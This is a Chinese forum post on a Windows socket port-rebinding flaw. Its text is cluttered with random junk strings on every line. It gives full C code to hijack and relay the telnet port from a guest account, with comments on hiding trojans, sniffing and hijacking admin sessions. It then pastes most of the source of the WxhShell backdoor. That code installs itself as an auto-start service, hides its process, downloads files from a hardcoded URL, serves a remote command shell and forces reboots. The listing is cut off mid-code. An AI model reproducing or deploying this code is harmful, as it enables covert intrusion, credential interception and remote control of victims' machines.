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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BrRL7xX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &k-Vcrcz  
O$/o'"@ /  
  saddr.sin_family = AF_INET; r(d':LV  
5DOBs f8Jo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i%e7LJ@5AW  
n Ox4<Wk&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); nJ4pTOc  
.itw04Uru  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 toN^0F?Qm  
H~ZV *[A`  
  这意味着什么?意味着可以进行如下的攻击: sGh(#A0Pt  
2(5ebe[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1f",}qe;  
n  -(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) su*Pk|6%  
kmzH'wktt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s .Wdxh  
gs!(;N\j|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   w 4[{2  
!*- >;:9B  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4DZ-bt'  
*5w{8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y0?5w0{  
()&~@1U  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^B8b%'\  
CLvX!O(~  
  #include {uzf"%VtP  
  #include pTIf@n6I  
  #include )95f*wte  
  #include    p<=$&*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {(r6e  
  int main() cw iX8e"3  
  { 45hF`b>%,  
  WORD wVersionRequested; ca+5=+X7  
  DWORD ret;  {o(j^@  
  WSADATA wsaData; q, O$ %-70  
  BOOL val; n; {76Q  
  SOCKADDR_IN saddr; ;a:[8Yi  
  SOCKADDR_IN scaddr; LL:_L<  
  int err; %*BlWk!Q  
  SOCKET s; 4apL4E"r  
  SOCKET sc; II6CHjW`;  
  int caddsize; .\>v0Du  
  HANDLE mt; MEB it  
  DWORD tid;   cnTaJ/o  
  wVersionRequested = MAKEWORD( 2, 2 ); oudxm[/U  
  err = WSAStartup( wVersionRequested, &wsaData ); )GHq/:1W  
  if ( err != 0 ) { M4as  
  printf("error!WSAStartup failed!\n"); ;!(<s,c#:  
  return -1; *z@>!8?  
  } j?'GZ d"B  
  saddr.sin_family = AF_INET; 98^V4maR:  
   t!RiUZAo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !47n[Zs  
<[w=TdCPs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #%DE;  
  saddr.sin_port = htons(23); -Uml_/rd_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *}P~P$q%  
  { m*JaXa  
  printf("error!socket failed!\n"); g+z1  
  return -1; UX7t`l2R  
  } |1j["u1  
  val = TRUE; F$)[kP,wtO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 | Bi!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) om1eQp0N  
  { HTG%t/S  
  printf("error!setsockopt failed!\n"); ~3<> 3p  
  return -1; KCs[/]  
  } J{Q|mD=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \ Yx/(e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]q4rlT.i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4<BjC[@~Z{  
.SWlp2!M5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _*f`iu:`  
  { (!:,+*YY  
  ret=GetLastError(); YOcO4   
  printf("error!bind failed!\n"); 7Op>i,HZk\  
  return -1; v?geCe=ng  
  } Rb'|EiNPw  
  listen(s,2); @{2 5xTt  
  while(1) 0)gdB'9V_  
  { \kZ?  
  caddsize = sizeof(scaddr); RCpR3iC2  
  //接受连接请求 jnn}V~L  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W)bLSL]`E  
  if(sc!=INVALID_SOCKET) ueUuJxq)  
  { 7j-4TY~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {tWf  
  if(mt==NULL) ^~etm  
  { ')cMiX\v  
  printf("Thread Creat Failed!\n"); P5UL4uyl  
  break; :.Wr{"`  
  } |!4K!_y  
  } 1eF3`  
  CloseHandle(mt); .6Pw|xu`Pw  
  } d$1@4r  
  closesocket(s); ,5h)x"s  
  WSACleanup(); I`!<9OTBj  
  return 0; DW[N|-L  
  }   Vh4X%b$TV  
  DWORD WINAPI ClientThread(LPVOID lpParam) H:V2[y8\  
  { *_d7E   
  SOCKET ss = (SOCKET)lpParam; #AJM6* G9  
  SOCKET sc; $| @ (  
  unsigned char buf[4096]; gDpVeBd[  
  SOCKADDR_IN saddr; 1ukTA@Rj&  
  long num; EFM5,gB.m  
  DWORD val; YpVD2.jy  
  DWORD ret; , K~}\CR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZQV6xoN;r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Jcd-  
  saddr.sin_family = AF_INET; J| w>a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VZKvaxIk6  
  saddr.sin_port = htons(23); gi1^3R[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .[ICx  
  { RMdk:YvBg  
  printf("error!socket failed!\n"); &OH={Au  
  return -1; Li4zTR|U  
  } K  &N  
  val = 100; {'NvG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cQ R]le %(  
  { ]>5/PD,wWy  
  ret = GetLastError(); 5Odhb  
  return -1; vg32y /l]S  
  } rC^WPW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u7>],<  
  { zBzZxK>$  
  ret = GetLastError(); Q' {M L4  
  return -1; n-tgX?1'  
  } k%WTJbuG<)  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +V{kb<P  
  { *nkoPVpC  
  printf("error!socket connect failed!\n"); $Nhs1st*8  
  closesocket(sc); inMA:x}cF1  
  closesocket(ss); nksLWfpG?B  
  return -1; 'a@/vx&J  
  } KW pVw!  
  while(1) k_rt&}e+Gi  
  { Swig;`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s"r*YlSp"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G3Hx! YW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ng2twfSl$  
  num = recv(ss,buf,4096,0); \@c,3  
  if(num>0) 52Z2]T c ,  
  send(sc,buf,num,0); Yg||{  
  else if(num==0) Ga^"1TZ x  
  break;  iu=7O  
  num = recv(sc,buf,4096,0); :(P9mt  
  if(num>0) 8e1UmM[  
  send(ss,buf,num,0); 0ypNUG}   
  else if(num==0) ymhtX6]  
  break; qN9(S:_Px  
  } Kqb#_hm  
  closesocket(ss); y51e%n$  
  closesocket(sc); NJWA3zz   
  return 0 ; I-]?"Q7Jz  
  } .ypL=~Rp  
$9_xGfx}  
$ r@zs'N  
========================================================== 6]WAUK%h  
98IJu  
下边附上一个代码,,WXhSHELL -b9\=U[  
t%/&c::(6  
========================================================== JcsHt;  
Z&+ g;(g  
#include "stdafx.h" /[ 5gX^A  
On9A U:\  
#include <stdio.h> 4DI8s4fi  
#include <string.h> 2*;~S4 4  
#include <windows.h> H)kwQRfu  
#include <winsock2.h> 9<6;Hr,>G  
#include <winsvc.h> P64PPbP  
#include <urlmon.h> _Xe>V0   
un mJbY;t  
#pragma comment (lib, "Ws2_32.lib") Qb-M6ihcc  
#pragma comment (lib, "urlmon.lib") ;"5&b!=t  
l *(8i ^  
#define MAX_USER   100 // 最大客户端连接数 M2,l7  
#define BUF_SOCK   200 // sock buffer -A^_{4X  
#define KEY_BUFF   255 // 输入 buffer %S960  
t&C1Oo}=3  
#define REBOOT     0   // 重启 _7Ju  
#define SHUTDOWN   1   // 关机 ] vHF~|/-  
> PRFWO  
#define DEF_PORT   5000 // 监听端口 JE "x  
q$d>(vb q  
#define REG_LEN     16   // 注册表键长度 AUG#_HE]k  
#define SVC_LEN     80   // NT服务名长度 EIP /V  
t6 "%3#s  
// 从dll定义API X:"i4i[}{9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \h/H#j ZJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tTl%oN8Qw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M6 "PX *K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S%;O+eFYb  
i &nSh ]KK  
// wxhshell配置信息 iy.p n  
struct WSCFG { @alK;\  
  int ws_port;         // 监听端口 C_}]`[  
  char ws_passstr[REG_LEN]; // 口令 s%7t"-=&  
  int ws_autoins;       // 安装标记, 1=yes 0=no %v M-mbX  
  char ws_regname[REG_LEN]; // 注册表键名 {3mRq"e  
  char ws_svcname[REG_LEN]; // 服务名 EHJ.T~X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t\dN DS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :D5Rlfj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L\J;J%fz.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `,<BCu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;WQve_\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8b& /k8i:  
Cv.C;H  
}; oWT3apGO  
n:?a$Ldgm  
// default Wxhshell configuration Z"xvh81P  
struct WSCFG wscfg={DEF_PORT, 2*& ^v  
    "xuhuanlingzhe", q 'yva  
    1, A:%`wX}  
    "Wxhshell", -l*|M(N\  
    "Wxhshell", &jJL"gq"  
            "WxhShell Service", \;B iq`  
    "Wrsky Windows CmdShell Service", y'q$ |  
    "Please Input Your Password: ", AO4U}?  
  1, 1v2 7;Q<+Q  
  "http://www.wrsky.com/wxhshell.exe", k(nW#*N_  
  "Wxhshell.exe" `Y$4 H,8L  
    }; N#_H6TfMG  
D;*SnU(9L  
// 消息定义模块 'o2Fa_|<#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Se}c[|8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IFL*kB   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ax7[;|2  
char *msg_ws_ext="\n\rExit."; S9y}  
char *msg_ws_end="\n\rQuit."; U?Zq6_M&  
char *msg_ws_boot="\n\rReboot..."; Q(?#'<.#  
char *msg_ws_poff="\n\rShutdown..."; QA`sx  
char *msg_ws_down="\n\rSave to "; `*R:gE=  
g*_&  
char *msg_ws_err="\n\rErr!"; =8. ,43+  
char *msg_ws_ok="\n\rOK!"; #=A)XlZMd  
f}P3O3Yv&  
char ExeFile[MAX_PATH]; 904}Jh,  
int nUser = 0; gR;i(81U  
HANDLE handles[MAX_USER]; ^jZbo {  
int OsIsNt; 7`'Tbp  
db7B^|Di  
SERVICE_STATUS       serviceStatus; ",; H`V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wd:uV  
29.h91  
// 函数声明 <\^8fn   
int Install(void); m-#2n? z-  
int Uninstall(void); ?N9uu4  
int DownloadFile(char *sURL, SOCKET wsh); JK5gQ3C[  
int Boot(int flag); 2fd{hJDq;5  
void HideProc(void); h*](a_0  
int GetOsVer(void); n{mfn *r.  
int Wxhshell(SOCKET wsl); '5$b-x6F  
void TalkWithClient(void *cs); j A%u 5V  
int CmdShell(SOCKET sock); Tyx_/pJT  
int StartFromService(void); s.C_Zf~3  
int StartWxhshell(LPSTR lpCmdLine); b8 likP"T  
%* }(}~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ad_h K O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }o`76rDN  
(*iHf"=\  
// 数据结构和表定义 h2d(?vOT  
SERVICE_TABLE_ENTRY DispatchTable[] = wb l&  
{ ud('0 r',D  
{wscfg.ws_svcname, NTServiceMain}, fNFY$:4X  
{NULL, NULL} "4{r6[dn  
}; /7YIn3  
4.t-i5  
// 自我安装 ]c'A%:f<  
int Install(void) a&? :P1$  
{ 6=Otq=WH  
  char svExeFile[MAX_PATH]; gg2( 5FPP  
  HKEY key; fz "Y CHe  
  strcpy(svExeFile,ExeFile); Cp0=k  
nBYZ}L q  
// 如果是win9x系统,修改注册表设为自启动 + {'.7#  
if(!OsIsNt) { oEpFuWp%A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tKXIk9e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'm$L Ij?@  
  RegCloseKey(key); ;aVZ"~a+\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cw <l{A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h/Y'<:  
  RegCloseKey(key); 5Gm_\kd  
  return 0; La[V$+Y  
    } N8df8=.kw  
  } t%8BK>AHvw  
} ?}Y]|c^W  
else { k+*u/neh  
UJ2U1H54h  
// 如果是NT以上系统,安装为系统服务 zfdl45  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I7 ]8Y=xf  
if (schSCManager!=0) f _:A0  
{ /PKNLK  
  SC_HANDLE schService = CreateService P.DK0VgY  
  ( uPvEwq* C  
  schSCManager, E"IZ6)Q  
  wscfg.ws_svcname, :Zlwy-[  
  wscfg.ws_svcdisp, s5. CFA  
  SERVICE_ALL_ACCESS, #5uOx(>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q,Eo mt  
  SERVICE_AUTO_START, +kD R.E:  
  SERVICE_ERROR_NORMAL, (cO:`W6.  
  svExeFile, K (|}dl:  
  NULL, 4skD(au8  
  NULL, .6J$,.Ig  
  NULL, x?<FJ"8"k  
  NULL, lEBLZ}}\  
  NULL 7xR\kL.,  
  );  ~$J2g  
  if (schService!=0) !<F3d`a  
  { \b>] 8Un"  
  CloseServiceHandle(schService); fN2lLn9/u  
  CloseServiceHandle(schSCManager); XK vi=0B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ho]su?  
  strcat(svExeFile,wscfg.ws_svcname); 2Khv>#l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  Fk;Rfqq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y4YJJYvD  
  RegCloseKey(key); }QmqoCAE~m  
  return 0; hqdDm  
    } E*lxVua  
  } H,NF;QPPC  
  CloseServiceHandle(schSCManager); lLIA w$  
} %}T6]S)%u  
} KY N0  
#o2[hibq  
return 1; Q5_o/wk  
} l NBL4yM  
M#[{>6>iE  
// 自我卸载 K4);HJ|=  
int Uninstall(void) snikn&  
{ >"<Wjr8W!$  
  HKEY key; sT' 5%4  
 f V(J|  
if(!OsIsNt) { [c06 N$:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v9->nVc-  
  RegDeleteValue(key,wscfg.ws_regname);  rXU\  
  RegCloseKey(key); .GcKa024  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <d_!mKw  
  RegDeleteValue(key,wscfg.ws_regname); E+JqWR5  
  RegCloseKey(key); {qMIGwu  
  return 0; &! ?eL  
  } PiYxk+N  
} })?GzblI&  
} B93+BwN>95  
else { O0y_Lm\  
O8.5}>gDn.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XSl GE9]AG  
if (schSCManager!=0) ?3xzd P  
{ DDH:)=;z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XvlU*TO~(~  
  if (schService!=0) '6Q =#:mc\  
  { 6i~WcAs  
  if(DeleteService(schService)!=0) { 7Rt9od< )!  
  CloseServiceHandle(schService); {!dVDf_  
  CloseServiceHandle(schSCManager); H'hpEw G  
  return 0; 8pgEix/M5o  
  } bbyg8;/  
  CloseServiceHandle(schService); *=7U4W  
  } > "=>3  
  CloseServiceHandle(schSCManager); H+Sz=tg5  
} A$:U'ZG_  
} ^M>P:~  
1PV'?tXp(  
return 1; <yFu*(Q  
} :zF,A,)  
$'hEz/  
// 从指定url下载文件 n#OB%@]<V  
int DownloadFile(char *sURL, SOCKET wsh) ?m? ::RH  
{ 1^(ad;BC y  
  HRESULT hr; QW(Mz Hg  
char seps[]= "/"; ah+iZ}E%  
char *token; *itUWpNhr  
char *file; o$lM$E:  
char myURL[MAX_PATH]; d,n 'n  
char myFILE[MAX_PATH]; &@Be2!%'9K  
Y\?"WGL)p  
strcpy(myURL,sURL); FE|JHh$  
  token=strtok(myURL,seps); @wNG{Stj  
  while(token!=NULL) 6MMOf\   
  { OA"q[s  
    file=token; JB[~;nLlC  
  token=strtok(NULL,seps); )C]g ld;8  
  } W+ko q*P  
Y^EcQzLw  
GetCurrentDirectory(MAX_PATH,myFILE); i5Yb`Z[Y  
strcat(myFILE, "\\"); l#Y,R 0  
strcat(myFILE, file); xRLT=.ir  
  send(wsh,myFILE,strlen(myFILE),0); aH/ k Ua  
send(wsh,"...",3,0); k5.Lna  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X!dYdWw*m  
  if(hr==S_OK) ]>nk"K!%  
return 0; !\.pq  2  
else XBu"-(  
return 1; {go;C}  
'=8d?aeF  
} nwRc%C``UK  
V7fq4O^:  
// 系统电源模块 "Nbq#w\  
int Boot(int flag) 2?ez,*-[  
{ UIN<2F_  
  HANDLE hToken; hAnPXiD  
  TOKEN_PRIVILEGES tkp; >rKIG~P_  
!0LWa"  
  if(OsIsNt) { My[pr_xg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;LSANr&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1+{{EOZ4  
    tkp.PrivilegeCount = 1; %oa-WmWm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *Y7u'v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W_(j3pV?Ml  
if(flag==REBOOT) { E GU 0)<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SdxDa  
  return 0; hxd`OG<gF  
} Eq9x2  
else { ;m{1 _1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BdblLUGK#  
  return 0; .p]RKS=(:  
} k(7&N0V%zz  
  } F {4bo$~>  
  else { PB`Y g  
if(flag==REBOOT) { x vl#w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3z9d!I^>k  
  return 0; &n}f?  
} O#~yKqB  
else { /quc}"__  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4,gK[ dc  
  return 0; {|_M # w~&  
} *>'V1b4}  
} Yz"#^j}Kg  
})8N5C+KU  
return 1; vB|hZTW  
} aPfO$b:  
J1RJ*mo7,  
// win9x进程隐藏模块 sF?TmBQ*  
void HideProc(void) sn$9Shgh  
{ 1&evG-#<:  
sRL`dEl4l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u jq=F  
  if ( hKernel != NULL ) 9gEwh<  
  { Eog0TQ+*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )E@.!Ut4o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u4F5h PO]  
    FreeLibrary(hKernel); >#~& -3  
  } >j(_[z|v3  
cr?Q[8%t1  
return; (\hx` Yh=>  
} i8[t=6Rm@  
0g y/:T  
// 获取操作系统版本 %D}kD6=  
int GetOsVer(void) |w1Bq  
{ FR4QUk  
  OSVERSIONINFO winfo; }`QUHIF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JG!mc7  
  GetVersionEx(&winfo); tip+q d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OSWYGnZg  
  return 1; zrL$]Oy}x  
  else w/S%YW3*  
  return 0; .4M.y:F  
} iWB=sL&p  
Mxsa-?R;v  
// 客户端句柄模块 k,E{C{^M  
int Wxhshell(SOCKET wsl) )=Z>#iH1  
{ @6F#rz  
  SOCKET wsh; N~d?WD\^  
  struct sockaddr_in client; +N9X/QFKV  
  DWORD myID; ?{|q5n  
6?mibvK  
  while(nUser<MAX_USER) +[AQUc  
{ B^Nf #XN(  
  int nSize=sizeof(client); p7VTa~\zA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~u!|qM  
  if(wsh==INVALID_SOCKET) return 1; k)= X}=w  
6]_pIf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]kG"ubHV?h  
if(handles[nUser]==0) zyc"]IzOU  
  closesocket(wsh); c~$)UND^  
else Y1OkkcPb{  
  nUser++; YX7L?=;.@  
  } C'+YQ]u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3yY}04[9<  
q J=~Y|(  
  return 0; f/NH:1)y  
} w%VU/6~  
tl4V7!U@^z  
// 关闭 socket =J]]EoX/  
void CloseIt(SOCKET wsh) ,p@y] cr  
{ 1k5Who@  
closesocket(wsh); :q7Wy&ow  
nUser--; dh*ZKI^@(  
ExitThread(0); `PdQX.wN  
} NP#w +Qw  
;%5N%0,  
// 客户端请求句柄 P[#e/qnXu|  
void TalkWithClient(void *cs) RtP2]O(F  
{ Xy&A~F  
6BHXp# #z  
  SOCKET wsh=(SOCKET)cs; 2c,9e`  
  char pwd[SVC_LEN]; vNY{j7l/W  
  char cmd[KEY_BUFF]; ooL!TS GD  
char chr[1]; bv9]\qC]T<  
int i,j; p2[n$61   
_476pZ_  
  while (nUser < MAX_USER) { N/'b$m5= S  
>~sI8czR*  
if(wscfg.ws_passstr) { -M~:lK]n   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); du lI&_x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s1$nvTzBr  
  //ZeroMemory(pwd,KEY_BUFF); u+e{Mim  
      i=0; Uq,^Wy  
  while(i<SVC_LEN) { v ~?qz5:K~  
>,Ci?[pf  
  // 设置超时 cAqLE\h  
  fd_set FdRead; fZzoAzfv2  
  struct timeval TimeOut; KKPh~ThC  
  FD_ZERO(&FdRead);  E`0?  
  FD_SET(wsh,&FdRead); C8:f_mJU  
  TimeOut.tv_sec=8; ]z;I _-  
  TimeOut.tv_usec=0; mPK:R^RjG&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o>i4CCU+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B6As,)RjD:  
]G= L=D^cK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \fr~  
  pwd=chr[0]; m6K}|j  
  if(chr[0]==0xd || chr[0]==0xa) { _LUhZlw  
  pwd=0; @R"JW\bd  
  break; gNrjo=  
  } UiP"Ixg6  
  i++; 6|%?tex  
    } \?ZB]*Fu  
T|op$ s|  
  // 如果是非法用户,关闭 socket fS:&Ak ];  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y%aCMP9j~9  
} PfD.:amN7  
~i{(<.he  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  c(E{6g?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v2\FA(BPn  
)Y0!~# `  
while(1) { G1tY)_-8[  
Al^d$FaF  
  ZeroMemory(cmd,KEY_BUFF); A_ZY=jP   
7\[@ m3s  
      // 自动支持客户端 telnet标准   [z\$?VJspQ  
  j=0; EIAc@$4  
  while(j<KEY_BUFF) { ]t,BMu=%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "5!oi]@>(  
  cmd[j]=chr[0]; 9c'xHO`  
  if(chr[0]==0xa || chr[0]==0xd) { CL;}IBd a  
  cmd[j]=0; v`x.)S1  
  break; @4#c&h 3  
  } A#<?4&  
  j++; .},'~NM]  
    } .bg~>T+<  
@)M9IOR  
  // 下载文件 /NFj(+&g+  
  if(strstr(cmd,"http://")) { (@VMH !3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^|>PA:%  
  if(DownloadFile(cmd,wsh)) 0<@KG8@hI;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ya{9EdlT  
  else B{#I:Rs9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vWv"  
  } $6 9&O  
  else { m,w A:o$'  
]7BvvQ  
    switch(cmd[0]) { !hy-L_wL]  
  _Y4` xv0/  
  // 帮助 Y =I'czg  
  case '?': { Tv=mgH=b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5H9z4-i x?  
    break; KYI/  
  } Eyqa?$R  
  // 安装 b\!_cb~"@  
  case 'i': { -3 *]G^y2  
    if(Install()) P|E| $)m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1(R}tRR7R  
    else *OsQ}onv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,R\ \%  
    break; MKk\ u9  
    } xm~`7~nFR  
  // 卸载 |SSSH  
  case 'r': { : *#-%0  
    if(Uninstall()) /Cr%{'Pzk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lrE5^;/s1  
    else ML 9' |  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WE#^a6  
    break; ^uc=f2=>,  
    } iWkWR"ys y  
  // 显示 wxhshell 所在路径 u c)eil  
  case 'p': { Dx?,=~W9  
    char svExeFile[MAX_PATH]; u&vf+6=9Dd  
    strcpy(svExeFile,"\n\r"); =y*IfG9b  
      strcat(svExeFile,ExeFile); &r /Mi%  
        send(wsh,svExeFile,strlen(svExeFile),0); T?0eVvM  
    break; H%td hu\e  
    } h;"4+uw  
  // 重启 :3Ox~o  
  case 'b': { M|h3Wt~7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @,+5y\]C  
    if(Boot(REBOOT)) 8TKnL\aar  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IEi^kJflU  
    else { ED gag  
    closesocket(wsh);  mq.`X:e  
    ExitThread(0); 7n<{tM  
    } iYoMO["X  
    break; &p@O _0nF  
    } b8UO,fY q  
  // 关机 k4;7<j$ir  
  case 'd': { (L&d!$,Dv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TD0 B%  
